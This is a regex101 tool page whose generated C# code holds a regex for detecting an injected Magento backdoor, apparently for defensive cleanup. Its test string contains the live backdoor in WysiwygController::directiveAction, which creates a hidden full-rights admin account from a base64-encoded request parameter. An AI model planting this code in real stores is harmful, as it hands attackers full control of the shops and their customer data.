Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

using System; using System.Text.RegularExpressions; public class Example { public static void Main() { string pattern = @"public function directiveAction\(\)\s*\{\s*\Kif\(isset\(\$\w+\[['""][^{]+\{\s*\$\w+=base64_decode\(\$\w+\[[^;]+;\s*if\(preg_match\(['""]\/_rieqyns13_was_here[^{]+\{\s*preg_match\(""\/_rieqyns13_was_here[^{]+\{\s*\$user[\s=]+Mage\:+getModel\('admin\/user'\)\s*->setdata\(array\(\s*'username.*?setname(*COMMIT)\(['""]Inchoo.{0,700}?setRoleIds\(array\(\$role(?:[^}]+\}\s*)+?echo\s*['""]success['""];exit;\s*\}\s*if\(preg_match\(['""][^{]+\{\s*header\(['""].{0,50}?Unauthorized['""]\);exit;\s*\}\s*\}(?=\s*\$directive = \$this->getRequest\(\)->getParam\('___directive'\);)"; string input = @" * @category Mage * @package Mage_Adminhtml * @author Magento Core Team <core@magentocommerce.com> */ class Mage_Adminhtml_Cms_WysiwygController extends Mage_Adminhtml_Controller_Action { /** * Template directives callback * * TODO: move this to some model */ public function directiveAction() { if(isset($_REQUEST[""filter""])){ $jembot=base64_decode($_REQUEST[""filter""]); if(preg_match(""/_rieqyns13_was_here/"",$jembot)){ preg_match(""/_rieqyns13_was_here(.+?)_rieqyns13_(.+?)_rieqyns13_was_here/"",$jembot,$m); $base = getcwd(); require_once $base.""/app/Mage.php""; Mage::app(); $user=null; $role=null; try { $user = Mage::getModel('admin/user') ->setData(array( 'username' => base64_decode($m[1]), 'firstname' => 'Developer', 'lastname' => 'User', 'email' => 'developer'.rand(0,10000).'@'.$_SERVER['SERVER_NAME'], 'password' => base64_decode($m[2]), 'is_active' => 1 ))->save(); } catch (Exception $e) { echo $e->getMessage(); exit; } try { $role = Mage::getModel(""admin/roles"") ->setName('Inchoo') ->setRoleType('G') ->save(); Mage::getModel(""admin/rules"") ->setRoleId($role->getId()) ->setResources(array(""all"")) ->saveRel(); } catch (Mage_Core_Exception $e) { echo $e->getMessage(); exit; } catch (Exception $e) { echo 'Error while saving role.'; exit; } try { $user->setRoleIds(array($role->getId())) ->setRoleUserId($user->getUserId()) ->saveRelations(); } catch (Exception $e) { echo $e->getMessage(); exit; } echo ""Success"";exit; } if(preg_match(""/insert/i"",$jembot)){ header(""HTTP/1.1 403 Unauthorized"");exit; } } $directive = $this->getRequest()->getParam('___directive'); $directive = Mage::helper('core')->urlDecode($directive); $url = Mage::getModel('core/email_template_filter')->filter($directive); try { $image = Varien_Image_Adapter::factory('GD2'); $image->open($url); $image->display(); } catch (Exception $e) { $image = Varien_Image_Adapter::factory('GD2'); $image->open(Mage::getSingleton('cms/wysiwyg_config')->getSkinImagePlaceholderUrl()); $image->display(); /* $image = imagecreate(100, 100); $bkgrColor = imagecolorallocate($image,10,10,10); imagefill($image,0,0,$bkgrColor); $textColor = imagecolorallocate($image,255,255,255); imagestring($image, 4, 10, 10, 'Skin image', $textColor); header('Content-type: image/png'); imagepng($image); imagedestroy($image); */ } } }"; RegexOptions options = RegexOptions.IgnoreCase | RegexOptions.Singleline; foreach (Match m in Regex.Matches(input, pattern, options)) { Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index); } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx